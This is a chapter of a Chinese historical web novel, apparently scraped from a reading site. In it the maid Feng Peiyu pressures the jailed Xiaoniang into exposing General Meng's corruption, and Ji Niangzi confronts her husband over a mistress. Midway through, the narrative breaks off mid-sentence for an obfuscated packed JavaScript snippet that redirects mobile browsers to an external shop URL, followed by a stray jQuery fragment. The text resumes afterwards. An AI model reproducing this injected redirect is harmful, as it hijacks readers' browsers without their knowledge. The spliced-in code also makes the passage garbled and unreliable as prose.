绡娘如今可是落魄了,散着头发,直勾勾的瞪着一双丹凤三角眼,越发的瘦了,活像个细长的扁担。
开封府的女牢,宽度仅丈许,土墙潮湿,草席铺地,和家中的富贵日子不可同日而语,绡娘在此待了半个月,自然受了些罪。
只是,绡娘实在是块又臭又硬的石头,要么一问三不知,要么,嘴里就叨叨的骂。
“黑心贼,丧门星,少死的王八,下作的小娼妇!”
冯佩玉隔着栏杆,吐沫星子也险些飞到她脸上。
“你们不是想知道姓蒙的有什么把柄吗,告诉你,老娘有的是!”
“须得把我放出去,我才告诉你们!不然当老娘是那没脾气的泥人不成?”
绡娘就往地上大剌剌的一坐,脑袋是摇来晃去的。
“好不好的,反正已经在这里了,还能杀了我不成,老娘光脚的不怕穿鞋的,大不了便与你们耗着罢!”
这也在冯佩玉的预料之中,她刚试探着开口一问,绡娘马上觉察出来,自己好像有点子用。
便挟天子以令诸侯,抖起来了。
怪道坠儿不愿来,绡娘这些年迎来送往,在人情世故里泡的成精了,不是个好拿捏的。
是硬不得,软不得,威不能慑,恩不能动。
偏生现在,纪娘子还指望着撬开绡娘的嘴。
哎,难不成真要受她胁迫,放她出去吗?
冯佩玉回头看着幽深的甬道,只有几盏昏暗的油灯,潮湿阴暗,一时间有些头晕目眩。
这硬骨头是难啃了些,但绡娘得意洋洋的反应,让冯佩玉觉着。
兴许,她还真知道些什么。
只是,绡娘在街坊中厮混惯了,一肚子算盘。
冯佩玉虽然鲜少这种人打过交道,但是知道此人的脾气秉性的。
惯是欺软怕硬,不讲仁义道德。
对付她,气势上不能输,也不能教她看出自己真实所求。
难免要连哄带骗,连消带打。
“你瞧你,”冯佩玉忽得叹了口气。
“我本是来救你的,让你有个戴罪立功的机会,你却如此不领情。”
“也罢,我这便走了。”
绡娘正叉着腰,还等着拿个乔,让冯佩玉与她拉扯上几个回合。
却没成想,冯佩玉利索的转身便走,忙不迭的叫住她。
只听冯佩玉的声音在黑暗里幽幽的传来。
“人家宋妙宋小娘子可比你识时务,那是问什么,便说什么。”
绡娘一听宋妙的名字,吓得一激灵。
又悔得连连拍自己大腿。
坏了,怎得把那个小蹄子给忘了!
“她……她知道个屁,能与你说什么,休要在这里吓唬老娘!”绡娘眉竖眼圆,咬着银牙,恨恨的说道。
冯佩玉转过身来,灯火如豆,她半边脸沉在黑暗里。
一双妙目如宝珠,皮笑肉不笑的,直直的盯着对方。
“她若是什么都没说,我怎知道她叫宋妙的,还有你那些下作手段……”
“你知不知道,逼良为娼,按律要流放的。”
绡娘愣住了。
“啧啧,流放三千里,那可是人间惨事啊。”
“要负枷步行,晨趋暮止,一路上衣不蔽体,餐无粒粟.......”
冯佩玉眼看着绡娘的脸色变得越来越苍白,在幽暗的女牢里,像个鬼。
冯佩玉又想起了自己,她十岁被卖掉的时候,她死过一次,不过是裴箱将她拉回人间罢了。
可是绡娘,很多年前便是个鬼了,只不过她自己不知道。
在世间行走,从来都是向下易,向上难。
她自己好好的人不做,下了地狱变成鬼,又将宋妙拖了下去。
宋妙何错之有呢,横遭无妄之灾,此后岁岁年年,便要于长夜之中,审视自己,审判自己。
冯佩玉忽然说不出话来,觉着喉咙被无尽的恨堵住了。
她攥着颈边的衣领,大口的喘着气,索性是在黑暗里,谁也瞧不见她。
未时不到,纪娘子便回了府。
今日立夏,娘家嫂嫂在城郊办花草雅集,别春迎夏。
冯佩玉一早来与她梳了个芭蕉髻,椭圆的高髻,里面撑了些假发,蓬松层叠,远远望去如舒卷的芭蕉叶。
别了个翡翠发梳,耳边再簪朵栀子花,青白相配,清雅舒爽,与立夏的节气和花草雅集也是格外契合的。
今日在花草雅集上,插花清供,又用鲜花做了合香丸,香饼等小物事,用过一顿流水素斋后,纪娘子便神清气爽的回府了。
可马车刚进了家门口,便见看门的婆子坐立不安,神情紧张,一见纪娘子回来,便赶紧扑上来禀报。
“娘子,你可回来了,哎哟,主君刚刚回来了........”
看门婆子咂嘴摇头,不住的跺脚。
“还大摇大摆带回一个狐狸精来,哎........娘子您快拿个主意呀。”
纪娘子听了,气的浑身乱颤,阿翠赶忙在旁边扶着,也吓得不敢做声。
自从上次纪娘子戳破蒙将军的伎俩后,蒙将军便一直在外面花天酒地,没回过府。
此事一揭开,夫妻二人早就撕破了脸,连蒙将军的书房都被抄了个底朝天,哪里还有情份可言。
纪娘子心中如何不知,二人一直如此僵持着,也不是长久之计,迟早要当面锣对面鼓的掰扯清楚。
只是没想到,这姓蒙的如此不知廉耻,外面什么脏的臭的都敢往家里拉,这不是明晃晃的打她的脸吗?
纪娘子揪着胸前的衣襟,气得脸色发白,大踏步抢入前院来,要与那负心汉分说个清楚。
一进书房的院子,便听里面唧唧哝哝的嬉笑之声,不堪入耳。
纪娘子心头火起,撞入房中,正见蒙将军与一女子搂在一处。
“好啊......你做的好事!”
纪娘子哆哆嗦嗦的指着他,唇齿筛糠一般乱颤,眼泪直滚下来。
“你个不知羞的东西,半点脸面都不要了吗,要全家陪着你丢人!”
蒙将军在外面吃多了酒,正高兴着,忽的被纪娘子劈头盖脸骂了一顿,酒气也上来了,两手一摊耍起横来。
“你个没道理的夜叉星,今日我可不看你的脸色,我便想怎样就怎样!”
“你有个好娘家又能如何,告诉你,这里是蒙府,你看不上我,你自己走便是,那两个孩子你也带不走!”
“省的成日里,端着一张丧气脸在我眼前晃来晃去,无理取闹,早就看你腻味的紧了!”
纪娘子听了这话,浑身冰凉,一抹脸上,湿淋淋的全是泪。
“我无理取闹?我为你操持这个家,你哪次上下打点,出门应酬不是用的我的嫁妆?”
“我给你做面子,替你圆体面,你在外面跟些来路不明的狐狸精不清不楚的,倒来欺负我!”
“那又怎样?”蒙将军皱着眉,不耐烦的说道。
“欺负你又怎样?”
“有本事你便回了娘家再也莫回来,老子在外头也是有头有脸的人物!还能成日里受你的鸟气不成?”
至亲至疏,夫妻也。
蒙将军最是知道纪娘子平日里爱面子,哪能灰头土脸的回娘家去,平白遭人耻笑。
可他如今,偏偏要拿这话来刺她的心。
纪娘子抄起桌上的砚台,朝着他便砸过去,蒙将军一躲,那砚台砸在地上碎成了好几瓣。
纪娘子怔怔的看着一地的碎瓷片,喘吁吁的,摸了把泪,掉头便走。
一路走到连廊处,扶着栏杆,喘着粗气,还不忘跟阿翠吩咐着。
“告诉灶上的人,从今以后只许做后院的饭!谁要给姓蒙的做了饭食,就让她找姓蒙的发月钱去,我是雇不起了。”
“另外从今日起,我也是不给前院的人发月钱的,若是有那想留下的,自己去找蒙大将军要月钱去吧!”
“坠儿怎得还没回来?”
纪娘子如今就指望着抓住蒙将军什么把柄,立马将他撵出汴京,一刻也等不得。
“叫门口的婆子好生看着,坠儿回来了马上让她来见我!”
这厢冯佩玉还在开封府狱,水磨的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17617062|204169||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
功夫,和绡娘耗了半晌。
方才一番恫吓倒是起了作用,绡娘的声音没了开始的趾高气昂,气势也软了下去。
“那宋妙是自愿的,说我逼良为娼,你有证据吗,谁绑着她了......”
绡娘自己说着说着,声音渐渐低了下去。
这话,她自家都不信吧。
冯佩玉还是不说话,幽闭的牢房里,安静的叫人喘不过气来。
绡娘只能听到自己的心咚咚乱跳,见冯佩玉好整以暇的看着自己,似是胸有成竹。
心中只觉不好,对方还真的是有备而来。
只恨当初没狠狠心,饿死那宋妙,如今反倒被人抓了这个把柄。
这牢里的日子已是人间炼狱一般了,若是被流放了,那她更是不要活了。
“那.....那我说了,你家娘子就能把我放出去吗?”绡娘磕磕巴巴的问。
这便是败下阵来了。
冯佩玉心中一松,故作矜持的开了口。
“反正你若是不说,那必定是流放的下场。”
“我今日是拿着开封府马步狱都监亲笔写的条子进来的,能不能给你做实逼良为娼的罪名,你自己掂量着吧。”
冯佩玉又顿了顿,看着绡娘的背越来越佝偻。
“至于能不能把你放出去,什么时候放出去,那要看你所说的,能不能教我家娘子满意了。”
绡娘颤巍巍的舔了舔干裂的嘴唇,心一横。
罢了,好汉还不吃眼前亏呢,她可不想被流放。
一个时辰后,冯佩玉走出府司西狱大门时,天还大亮着。
初夏时节,昼长风暖,教人心旷神怡。
这姓蒙的,还真是教人惊喜连连,为了几个钱,那是无所不用其极。
在皇城里偷偷赌钱不说,还向不常入宫的外放小官们索取“进门银”。
收了六尚局的宫人们的银子,私下夹带东西进出宫门。
更有甚者,收受定州,沧州,雄州等营田司的贿赂,向地方上的厢军时不时的漏些宫中的消息。
绡娘说道此处时颇为得意,这罪名似乎是不小的。
不过冯佩玉也不甚懂什么营田司,什么厢军,只一概记下交予纪娘子处置。
还包括磨牙说上司的是非,擅自把官家,众皇子们的进出行程说与外人吹嘘。
绡娘为了早日出去,竹筒倒豆子般倒了个干净。
为保证能钉死他的罪名,冯佩玉又细问了所牵扯的人,在场能作证的人,但凡能想起来的,绡娘都一一照实的说了。
自然,冯佩玉还不忘白纸黑字写下来,绡娘按了手印,有了凭证,这才安心。
与绡娘斗智斗勇的,竟折腾饿了。
冯佩玉心中轻松,掏出怀里那包蜜煎梨条,正欲吃两块,犒劳下自己。
而此时,只听身后的门吱呀一声,又开了。
狱卒们点头哈腰簇拥着一名穿绿色官服的男子走了出来。
“薛参军您实在是辛苦,今日立夏,相公们都休沐了,您还来此查访案情,真教我等钦佩呀…….”
男子眉目清和,笑起来也是谦虚有礼,如明月在怀。
“本官不请自来,有劳各位了,职责所系,谈不上辛苦,也不必相送……”
这样说着,正巧冯佩玉闻声扭头看来。
二人四目相对,吓得冯佩玉直将手里的那包梨条扬在了地上。
今日就不该来。
这不是上次带宋妙从绡娘家中逃走时,迎面撞上的那个司户参军吗。
冯佩玉舔了舔干裂的嘴唇,想起自己还扬了他一脸灰……
也不知这司户参军是几品官,伤了他是不是要挨板子的。
在拔腿就跑,和跪下求饶之间,冯佩玉天人交战了片刻。
最终选择了掩耳盗铃。
她装着若无其事的蹲下去,满地捡着梨条,脑袋里一片空白。
浑然不觉,她将沾了灰的梨条塞进嘴里吃了。
此时什么都顾不得了,在冯佩玉的余光里,那男子的官靴正悠哉悠哉的,一步一步,走到近前来。